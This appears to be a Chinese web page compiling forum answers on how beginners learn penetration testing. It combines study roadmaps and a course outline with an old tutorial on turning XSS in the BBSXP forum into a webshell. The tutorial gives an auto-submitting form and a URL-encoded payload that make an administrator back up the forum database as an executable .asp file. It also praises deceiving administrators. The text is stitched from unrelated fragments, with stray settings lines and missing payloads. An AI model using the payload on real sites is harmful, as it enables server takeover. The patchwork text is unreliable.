这个要根据个人的实际情况来决定的,比如你先要去了解什么是渗透测试:
1、渗透测试属于信息安全行业,准确的说是网络计算机/IT行业
2、现在你知道了它的行业属性,那么你是否具备一些这个行业的知识呢?
3、具备的话学习起来比较简单,直接去学习渗透测试实战就行,不具备接着往下看
4、现在知道它行业属性,你大概就能清楚需要些什么样的基础知识了;下面是我从非计算机网络相关专业的同学想要学习渗透测试必须掌握的知识。
5、前期入门大概需要掌握或者说了解以下知识点:
1)了解基本的网络知识,例如什么是IP地址(63.62.61.123)去掉点是扣扣学习群,IP地址的基本概念、IP段划分、什么是A段、B段、C段等2)广域网、局域网、相关概念和IP地址划分范围。
3)端口的基本概念?端口的分类?
4)域名的基本概念、什么是URL、了解TCP/IP协议、
5)了解开放式通信系统互联参考模型(OSI)
6)了解http(超文本传输协议)协议概念、工作原理
7)了解WEB的静态页面和WEB动态页面,B/S和C/S结构
8)了解常见的服务器、例如、Windows server2003、Linux、UNIX等
9)了解常见的数据库、MySQL、Mssql、、Access、Oracle、db2等
10)了解基本的网络架构、例如:Linux + Apache + MySQL + php
11)了解基本的Html语言,就是打开网页后,在查看源码里面的Html语言
12)了解一种基本的脚本语言、例如PHP或者asp,jsp,cgi等
然后你想学习入门,需要学习以下最基础的知识:
1、开始入门学习路线
1)深入学习一种数据库语言,建议从MySQL数据库或者SQL Server数据库、简单易学且学会了。
其他数据库都差不多会了。
2)开始学习网络安全漏洞知识、SQL注入、XSS跨站脚本漏洞、CSRF、解析漏洞、上传漏洞、命令执行、弱口令、万能密码、文件包含漏洞、本地溢出、远程溢出漏洞等等
)工具使用的学习、御剑、明小子、啊D、穿山甲(Pangolin)、Sqlmap、burpsuite抓包工具等等
2、Google hacker 语法学习
3、漏洞利用学习、SQL注入、XSS、上传、解析漏洞等
4、漏洞挖掘学习
5、想成为大牛的话、以上都是皮毛中的皮毛,但前提是以上的皮毛都是最基础的。
6、Linux系统命令学习、kali Linux 里面的工具学习、Metesploit学习
7、没事多逛逛安全论坛、看看技术大牛的文章、漏洞分析文章等
设置里面开关机设置为即开即用,硬盘选项为打开。
再好好看看设置里 自动关机改为永不关机。
基础到入门的学习路线
一、网络安全
网络基础
网络概述
(行业背景+就业方向+课程体系结构)
Vmware
IP地址的概述与应用
DOS命令与批处理
Windows服务安全
用户管理
破解系统用户密码
NTFS权限
文件服务器
DNS服务
DHCP服务
IIS服务
活动目录
域控管理
组策略(一)
组策略(二)
安全策略
PKI与证书服务
windows安全基线
Windows server 2003安全配置基线
阶段综合项目一
以太网交换与路由技术
回顾windows服务
OSI协议簇
交换机的基本原理与配置
IP包头分析与静态路由
分析ARP攻击与欺骗
虚拟局域网VLAN
VTP
单臂路由与DHCP
子网划分VLSM
高级网络技术
回顾
三层交换
ACL-1
ACL-2
网络地址转换
动态路由协议RIP
ipsec VPN
VPN远程访问
网络安全基线
Cisco基础网络设备安全配置基线
安全设备防护
防火墙原理及部署方式
防火墙高级配置
IDS
WAF
阶段综合项目二
二、服务安全
Linux安全运维
Linux操作系统介绍与安装与目录结构分析
Linux系统的基本操作与软件安装
Linux系统下用户以及权限管理
网络配置与日志服务器建立应急思路
建立php主页解析以及主页的访问控制
Nginx服务都建立以及tomcat负载均衡
iptables包过滤与网络地址转换
实用型脚本案例
阶段综合项目三
三、代码安全
前端代码安全
HTML语言
CSS盒子模型
JS概述与变量
JS数据类型
JS函数
程序的流程控制
条件判断与等值判断结构
循环结构
JS数组
数据库安全
sqlserver
access
oracle
mysql
后台代码安全
PHP基础
PHP语法
PHP流程控制与数组
PHP代码审计中常用函数
PHP操作mysql数据库
PHP代码审计(一)
PHP代码审计(二)
Python安全应用
初识python上篇
初识python下篇
基础进阶与对象和数字
字符串列表和元祖
字典条件循环和标准输入输出
错误异常函数基础
函数的高级应用和模块
面向对象编程与组合及派生
正则表达式和爬虫
socket套接字
四、渗透测试
渗透测试导论
渗透测试方法论
法律法规与道德
Web 工作机制
HTTP 协议
Cookie 与session
同源策略
情报收集
DNS
DNS 解析
IP 查询
主机测探与端口扫描
网络漏洞扫描
Web 漏洞扫描
其他工具
口令破解
口令安全威胁
破解方式
windows 口令破解
Linux 口令破解
网络服务口令破解
在线密码查询网站
常见的漏洞攻防
SQL 注入基础
四大基本手法
其他注入手法
SQLmap 的使用
XSS 漏洞概述
XSS 的分类
XSS的构造
XSS 的变形
Shellcode 的调用
XSS 通关挑战
实战:Session 劫持
PHP 代码执行
OS 命令执行
文件上传漏洞原理概述
WebShell 概述
文件上传漏洞的危害
常见的漏洞攻防
PUT 方法上传文件
.htaccess 攻击
图片木马的制作
upload-labs 上传挑战
Web容器解析漏洞
开源编辑器上传漏洞
开源CMS 上传漏洞
PHP 中的文件包含语句
文件包含示例
漏洞原理及特点
Null 字符问题
文件包含漏洞的利用
业务安全概述
业务安全测试流程
业务数据安全
密码找回安全
CSRF
SSRF
提权与后渗透
服务器提权技术
隧道技术
缓冲区溢出原理
Metasploit Framework
前言
urllib2
SQL 注入POC 到EXP
定制EXP
案例:Oracle Weblogic CVE2017-10271 RCE
案例:JBoss AS 6.X 反序列化
五、项目实战
漏洞复现
内网靶机实战
内网攻防对抗
安全服务规范
安全众测项目实战
外网渗透测试实战
六、安全素养
网络安全行业导论
网络安全岗位职责分析
网络安全法认知
网络安全认证
职业人素质
1、何为网络安全
网络安全从本质上讲就是网络上的信息安全
主要指网络系统中的硬件、软件及其中的数据受到保护,不因偶然的或恶意的因素而遭到破坏、更改、泄露,系统连续可靠正常的运行,网络服务不中断。
广义上讲,凡是涉及网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。
网络安全是一个很复杂的问题,因技术性和管理上的诸多原因,一个网络的安全由主机系统、应用和服务、路由、网络、安全设备、网络管理和管理制度等因素决定
信息安全五个基本要素(网络安全的特点)
2、网络安全基础
(1)操作系统安全
针对于操作系统面临的威胁,我们应该首先学习 window、linux。
对于Windows安全的学习,其实就是对Windows系统攻击与防御技术的学习。而Windows系统安全的学习内容将包括:用户和组、文件系统、策略、系统默认值、审计以及操作系统本身的漏洞的研究。
随着Linux的市占率越来越高,Linux系统、服务器也被部署得越来越广泛。因此学习linux也很有必要。
(2)熟悉网络结构
网络结构指计算机网络的结构。计算机网络由计算机系统、通信链路和网络结点组成,它是计算机技术和通信技术紧密结合的领域,承担着数据通信和数据处理两类工作。
在这一阶段我们要是熟悉OSI七层模型,以及每一层的协议,交换机,路由器,防火墙原理。熟悉了解数据在网络中是怎么样传输的。
3、web安全
(1)这一阶段主要熟悉web的架构,以及动手搭建。主要学习开发语言,如HTML、PHP、JSP、JAVA等
(2)了解网站常见的漏洞,如SQL注入,xss,逻辑缺陷、文件包含、远程命令执行,以及第三方组件的漏洞等
(3)熟悉一些常见的安全工具,如burp suite,sqlmap,Awvs,Nessus等
学到这里应该就已经入门了,当然后面还可以继续学习,内网安全,无线安全,工控安全,安全运维等。
零基础学习网络的话,并不建议自学,首先网络是比较抽象的内容,如果你去看书学习的话,没有人带教,书中出现的大量专业术语会难以理解,很难拼接起一个完整的框架,时间花费长,但是很难达到理想的学习效果。
网络安全涉及的知识面广、术语多、理论知识多,正给学习这门课程带来很多困难,也需要大量的时间精力学习。建议学习网络安全基础知识,应用加密学,协议层安全,传输层安全,unix安全,linux安全,防火墙技术,入侵攻防技术等。
题主说的这个培训机构还是不错的,面授课程,提供设备,包吃住,性价比很高。
什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
然后利用下面的技术得到一个shell. [编辑本段]如何利用传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。 [编辑本段]来自内部的跨站攻击寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。
如何利用
我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示
除此之外我们只要在个人签名里输入
同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名
处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的
攻击,对于flash木马的制作,下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下:
再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。 [编辑本段]来自外部的跨站攻击有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论坛,论坛的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论坛提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
〈body onload="javascript:document.forms[0].submit()"〉〈form
action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉
上面的代码是把论坛的数据库备份为shit.asp,留言板存在跨站点如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我们构造备份跨站语句如下:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
当管理员打开后,会自动备份得到一个shell. [编辑本段]XSS与其它技术的结合从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。
总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!
好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。
先了解下安全这行的名词,不会在以后觉得措手不及。
先安装虚拟机,熟悉虚拟机用法操作,试着在虚拟机上搭建网站。
熟悉iso模型(七层)。其实就是客户机到服务器中间的通信过程
熟悉常见协议HTTP/HTTPS(SSL)、TCP/IP(这个比较复杂,知道就是一个网络层协议就可)。
掌握H5、 CSS3、原生JS。可以尝试学jQ ,其实JS搞会已经很花时间了,尤其闭包、对象那块对于没编程基础的有难度,抽象。
掌握一门脚本语言,jsp、aps.net、php、.net等 (php最易,jsp要会Java)
学一下Python爬虫框架。信息搜集用
信息搜集。社工,谷歌hack语法
漏洞原理,漏洞分析。
开始了解注入类型
其他类型,XSS CSRF SSRF 文件上传下载 编辑器
如何getShell
SqlMap burpsuite waf绕过 + 内网渗透
最后kali,工具较多,挑选。
总结web安全这块知识面广,但是涉入层较浅,关键在手法和思想。深入探索还得学习底层信息安全,二进制安全。
我来说两句